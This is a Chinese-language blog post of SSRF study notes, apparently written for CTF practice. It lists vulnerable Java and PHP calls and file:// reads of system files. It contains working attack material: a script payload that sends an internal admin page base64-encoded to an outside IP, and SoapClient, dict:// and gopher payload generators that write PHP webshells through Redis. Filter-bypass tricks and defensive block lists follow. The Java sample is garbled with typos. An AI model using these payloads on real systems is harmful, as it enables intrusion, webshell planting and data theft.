SSRF-总结

SSRF

介绍

简介:服务端请求伪造。往往是使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等,如果这个功能被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器

image-20211003184707548

漏洞场景 - 黑盒

当服务器后端提供远程资源文件(如远程图片,网页等)功能时,若能够输入完整的URL且服务器端无有效性校验时,则有可能ssrf

加载远程资源文件(图片)功能:此功能用到的地方很多,大多数为对目标图片的处理和对目标网页的预览等公司上。一般类似该功能支持粘贴远程网址或者上传图片,则可以 利用粘贴图片网址功能进行SSRF攻击。这一类功能常见的有:通过URL地址分享网页内容; 通过URL加载或者下载图片;图片、文章收藏功能等。

漏洞场景 - 白盒

漏洞函数 - java

java中的SSRF不像PHP中那样灵活,利用起来相对的局限比较大。首先总结java中可以发出网络请求的类如下:

  • HttpClient

apache HttpClient 组件

pubilc class TestAction extends ActionSupport{
    pubkc String execute() throes Exception{
        HttpServletRequest request = ServletActionContext.getRequest();
        HttpServletResponse response = ServletActionContext.getResponse();
        String url = request.getParameter("url");
        if(url!=null&&url.length()!=0){
            CloseableHttpClient httpclient = Httpclient.execute(httpGet);
            try{
                HttpGet httpGet = new HttpGet(url);
                CloseableHttpResponse response1 = httpclient.execute(httpGet);
                try{
                    HttpEntity entity1 = response1.getEntity();
                    byte[] buffer = new byte[40960];
                    entity1.getContent().read(buffer);
                    response.getWriter().write(new String(buffer));
                } finally{
                    response1.close();
                }
            }finally{
                httpclient.close();
            }
            return "success";
        }
        else
        return "fail";
    }

}
  • Request (该类是对HttpClient的封装)
  • HttpURLConnection

使用Java原生的HttpUrlConnection用来发送Http请求,如下图,请求的url来自用 户输入,则该处存在SSRF漏洞

...

HttpServletRequest request = ServletActionContext.getRequest();
String url = request.getParameter("url");
URL obj = new URL(url);
HttpUrlConnection con = (HttpURLConnection) onj.openConnection();

...
  • URL
  • OKhttp

java支持的网络协议可以通过以下方式获知:

  • 遍历代码中的所有协议
  • 查看官方文档
  • import sun.net.www.protocol查看

从sun.net.www.protocol中可以看到,java支持的所有协议如下

File、ftp、mailto、http、https、jar、netdoc

而含有’http’字符串的类。只支持http/https协议,即HttpURLConnection、HttpClient、Request、okhttp;其他类,即:URLConnection和URL支持sun.net.www.protocol中的所有协议。

在java中,是不能使用gopher、dict或其他非上述协议的,即使用了30X跳转也不行。SSRF 在java中的利用相对受限:

  • 利用file协议读文件
  • 利用http/https协议探测端口,或向内网其他web应用发起攻击

高危函数 - php

file_get_contents

opensock

curl类函数

unserialize函数+调用不存在的方法

利用

file://协议获取本地信息

file://加绝对路径 或者 file://./xxx 相对路径

如果是类似txt的文件会直接回显到前端(如/etc/passwd 、/etc/host)

如果是php文件会以注释的形式返回到网页源代码中

image-20211027131157046

读取文件-内网信息搜集

  • file:///etc/hosts

获取内网地址

image-20211027131658317

  • /proc/net/arp

或者用(这个是与之通信的其他靶机的ip和mac)

file:///proc/net/arp

image-20211027131857850

  • /etc/network/interfaces

或者用

file:///etc/network/interfaces

用这些来查看内网网路情况

慢速dos

  • 找到ssrf的位点,不断访问并造成cc攻击

操作:用burp爆破模组不断发包就可以简单实现

  • 让服务器和客户端维持一个长连接(sleep)

比如说让服务器访问自己vps上的<?php sleep(20);?>

ssrf敏感信息外带

大概就是有些时候ssrf在对内网发起请求的时候,会带上一个内网通用的token(通常在headers里)
而这个token可能是内网通用的,可以用来访问其他内网服务

执行xml外带题目源码

当遇到直接ssrf本地访问某某页面的时候,由于页面需要加载各种js或者前端资源导致超时,可能会返回bad request

这时候由于只要Html的内容,请求html文件未果,使用xml读取

exploit?text=<script>var xmlhttp1=new XMLHttpRequest();
xmlhttp1.open("GET","http://localhost:5000/admin",false);   
xmlhttp1.send();
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","http://8.129.42.140:3307/"%2B btoa(xmlhttp1.responseText),true);
xmlhttp.send();</script>&color=%2324d600

先ssrf后外带xml,结果是base64的。python3 -m http.server 3307

image-20220430184156146

ssrf攻击内部服务

比如:
请求个token打
打一些未授权服务(redis, Yarn, Solr),漏洞服务

redis

低版本直接请求头写命令

以sourclient为例 2022buu10月挑战赛EasyLove

<?php
$target='http://127.0.0.1:6379/';
$poc0="AUTH 20220311";
$poc="CONFIG SET dir /var/www/html";
$poc1="SET x '<?@eval(\$_POST[1]);?>'";
$poc2="CONFIG SET dbfilename cmd.php";
$poc3="SAVE";
$a = array('location' => $target,'uri' =>
'hello^^'.$poc0.'^^'.$poc.'^^'.$poc1.'^^'.$poc2.'^^'.$poc3.'^^hello');
$aaa = serialize($a);
$aaa = str_replace('^^',"\r\n",$aaa);
$c=unserialize($aaa);
class swpu{
 public $wllm = 'SoapClient';
 public $arsenetang = null;
 public $l61q4cheng;
 public $love;
}
$a=new swpu();
$a->l61q4cheng=$c;
echo urlencode(serialize($a));
?>

image-20221102181548988

可见,其请求头确实有命令,所以真的离谱

dict攻击redis
dict://serverip:port/命令:参数
dict://127.0.0.1:6788/auth:123456

payload示例https://www.debugger.wiki/article/html/1609344001558983

?url=dict://LOcalhost:6379/config:set:dir:/var/www/html
?url=dict://LOcalhost:6379/config:set:dbfilename:webshell.php
?url=dict://LOcalhost:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x20\x3f\x3e"save
?url=dict://LOcalhost:6379/save
?url=dict://LOcalhost:6379/quit

注意写马的那个payload要进行十六进制编码哦(payload是<?php phpinfo();?>

gopher攻击redis(写马)

能未授权或者能通过弱口令认证访问到Redis服务器

https://www.redteaming.top/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/

参考:

redis未授权和已授权访问(已复现)

使用gopher来打redis

未授权和已授权(就是无密码和有密码)的redis协议生成 脚本

D:\Pycharm\PyCharm 2021.2.2\pythonproject\test.py

使用该脚本时无密码就不要填那里的密码

脚本概览

##################   ssrf redis 已授权或未授权 脚本  ######################
import urllib.parse

protocol = "gopher://"
ip = "2130706433"
port = "6379"
shell = "\n\n<?php system('cat /*')?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save",
     "quit"
    ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
    cmd += CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))

    # print(payload)
    print(urllib.parse.quote(payload))

如果是不用密码的,可以使用工具Gopherus-master

本地环境:

  • phpstudy: php的redis拓展

  • phpstudy下载的redis客户端和服务端

  • docker desktop 的镜像 ju5ton1y/redis

    image-20211031144702532

  • 服务器上的 的镜像ju5ton1y/redis , 以及他的容器(宿主机1111端口)

漏洞:

  • 未授权/已授权 写马/反弹shell/改公钥

  • 主从rce

  • 在没有出网的情况下,可以上传exp.so,rce

Bypass - 绕过ip限制

ip进制转换

普通ip

一些开发者会通过正则匹配的方式来过滤IP,如采用如下正则表达式:

^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$ 
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$ ^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种过滤我们可以采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址 我们可以改写成:
1)8进制格式:0300.0250.0.1
2)16进制格式:0xC0.0xA8.0.1

3)10进制整数格式:3232235521
4)16进制整数格式:0xC0A80001

地址转换工具:http://www.msxindl.com/tools/ip/ip_num.asp

本地回环

除了上面的进制转换

demo

http://127.0.0.1
http://2130706433
http://0x7F000001

还可以利用回环地址的特性:

1.

0.0.0.0

1.1

也可以直接0,如下

http://175.178.148.197/webs/index.php?url=0/webs/flag.php

还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1

2.

127.0.0.2

atao大哥教的,贼好用

url模式绕过

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

http://www.baidu.com@192.168.0.1/

当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。

xip.io

(1)、在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。

10.0.0.1.xip.io指向的域名:10.0.0.1 
www.10.0.0.1.xip.io指向的域名:10.0.0.1 
mysite.10.0.0.1.xip.io指向的域名:10.0.0.1 
foo.bar.10.0.0.1.xip.io指向的域名:10.0.0.1

要是后端用'等于'来检验,就可以这样绕过

比如

String url = getparam("url");
URL url = new URL(url);
String host = url.getHost();
if(host equals "10.0.0.1"){
    //不允许访问内网管理台接口
}

则完全可以提交www.10.0.0.1.xip.io绕过校验

使用域名短地址

申请短域名指向内网地址: http://192.168.31.1 -> http://suo.im/1QLXa2 访问 http://suo.im/1QLXa2 实际上就是请求 http://192.168.31.1。 备注:目前部分服务商已经停止提供 ip 地址的短地址生成,不过还是有很多家可以去生成。

ipv6绕过

某些 URL 解析器将[]内的任何字符串视为 IPv6 主机,而无需进行其他验证。

https://evil.com\[good.com]
-> https://evil.com\[good.com]
 -> https://evil.com\[good.com]
  -> https://evil.com/[good.com]

而在浏览器侧最终到达地址是 https://evil.com/

302 重定向

让浏览器访问一个页面,页面设计为302跳转到另一个

非HTTP协议

没复现过

添加端口可能绕过匹配正则

DNS Rebinding(DNS重绑定)

参考 https://zhuanlan.zhihu.com/p/73736127

//绕过

遇到如下apache配置,使用最后一个子目录//绕过

map /api/getflag   http://backend/forbidden

防御

1、过滤返回的信息,如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2、统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。

3、限制请求的端口,比如80,443,8080,8090。

4、禁止不常用的协议,仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。

if(urlLink.contains("file") || urlLink.contains("gopher") || urlLink.contains("ftp"))|| urlLink.contains("netdoc")|| urlLink.contains("mailto")|| urlLink.contains("jar"){
            return "无法访问";
        }
if(urlLink.contains("127.0.0.1"))|| urlLink.contains("localhost") {
            return "无法访问";
} 
  ...
  
if(urlLink.contains("http://") || urlLink.contains("https://")){
            ...
            业务
        }

5、使用DNS缓存或者Host白名单的方式。

线下防御waf

白名单协议+禁止内网ip

        URL exurl = new URL(urlLink);
        String host = exurl.getHost();
        String protocol = exurl.getProtocol();
        // 协议只能是https或http
        if(!(protocol.contains("https")||protocol.contains("http"))){
            return "无法访问";
        }
        // 检查ip,不允许是内网ip
        InetAddress[] addresses = InetAddress.getAllByName(host);
        List<String> ips = new ArrayList<>();
        for (int i = 0; i < addresses.length; i++) {
            if(addresses[i] instanceof Inet4Address) {

                if (ipIsInner(addresses[i].getHostAddress())) {
                    //System.out.println("Illegal address error");
                    throw new IllegalArgumentException();
                } else {
                    ips.add(addresses[i].getHostAddress());
                }
            }
        }

ipIsInner的实现在这

    static List<Pattern> ipFilterRegexList = new ArrayList<>();
    static {

        Set<String> ipFilter = new HashSet<String>();
        ipFilter.add("^10\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])"
                + "\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])" + "\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])$");
        ipFilter.add("^172\\.(1[6789]|2[0-9]|3[01])\\" + ".(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])\\"
                + ".(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])$");
        ipFilter.add("^192\\.168\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])\\"
                + ".(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])$");
        //ipFilter.add("127.0.0.1");
        ipFilter.add("^127\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])"
                + "\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])" + "\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])$");
        ipFilter.add("0.0.0.0");
        ipFilter.add("localhost");

        for (String reg : ipFilter) {
            ipFilterRegexList.add(Pattern.compile(reg));
        }
    }

    public static boolean ipIsInner(String ip) {
        System.out.println(ip);
        for (Pattern reg : ipFilterRegexList) {
            Matcher matcher = reg.matcher(ip);
            if (matcher.find()) {
                return true;
            }
        }
        return false;
    }

其实上面的ipIsInner没有禁用企业级网关ip段100.x.x.x,需要的话用专业级数据库

常用工具和操作

工具

curl

curl -v -X CTFHUB challenge-49d7e6a31e278c6b.sandbox.ctfhub.com

简单来说就是 返回http头部的信息,-X 自定义一种请求方式

在url处可使用伪协议

?url=file:///var/www/html/index.php

url的编码次数取决于你要请求的次数

Gopherus - https://github.com/tarunkant/Gopherus

协议

file:// #读文件

gopher:// #内网渗透常用

ghopher (看到下面的php函数)

file_get_contents

opensock

curl类函数
ghopher://127.0.0.1:70/_+TCP/IP

post脚本

D:\Pycharm\PyCharm 2021.2.2\pythonproject\main.py

扫地址

image-20211005173132084

扫端口(一般有提示端口的范围)

基础知识

get post基础知识

构造一个get请求所需的内容

GET /ssrf/base/get.php?name=Margin HTTP/1.1
Host: 192.168.0.109

构造一个post请求所需的内容

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=8a6d748f4f820709cd9e444991d49dd0

注意Content-Length那里,必须和你的POST请求长度一样,不然结果就出不了。

gopher传post数据,脚本

简单原理及其使用看这个(46条消息) gopher协议利用_西部壮仔的博客-CSDN博客_gopherus使用

脚本

import urllib.parse
payload =\
"""
POST /index.php?a=1 HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For:127.0.0.1
referer:bolean.club
Content-Length: 3

b=1
"""  
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://172.73.23.100:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 因为是GET请求所以要进行两次url编码

这里是这样的

在跳板机上使用gopher协议,便是跳板机去发起请求。

gopher://目标机器ip(比如说是127.0.0.1:某端口/目标内网ip)_post数据

目标机器起一个对应的端口监听,就可以看到数据包了,,此时也是跳板机发起请求的(ssrf)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇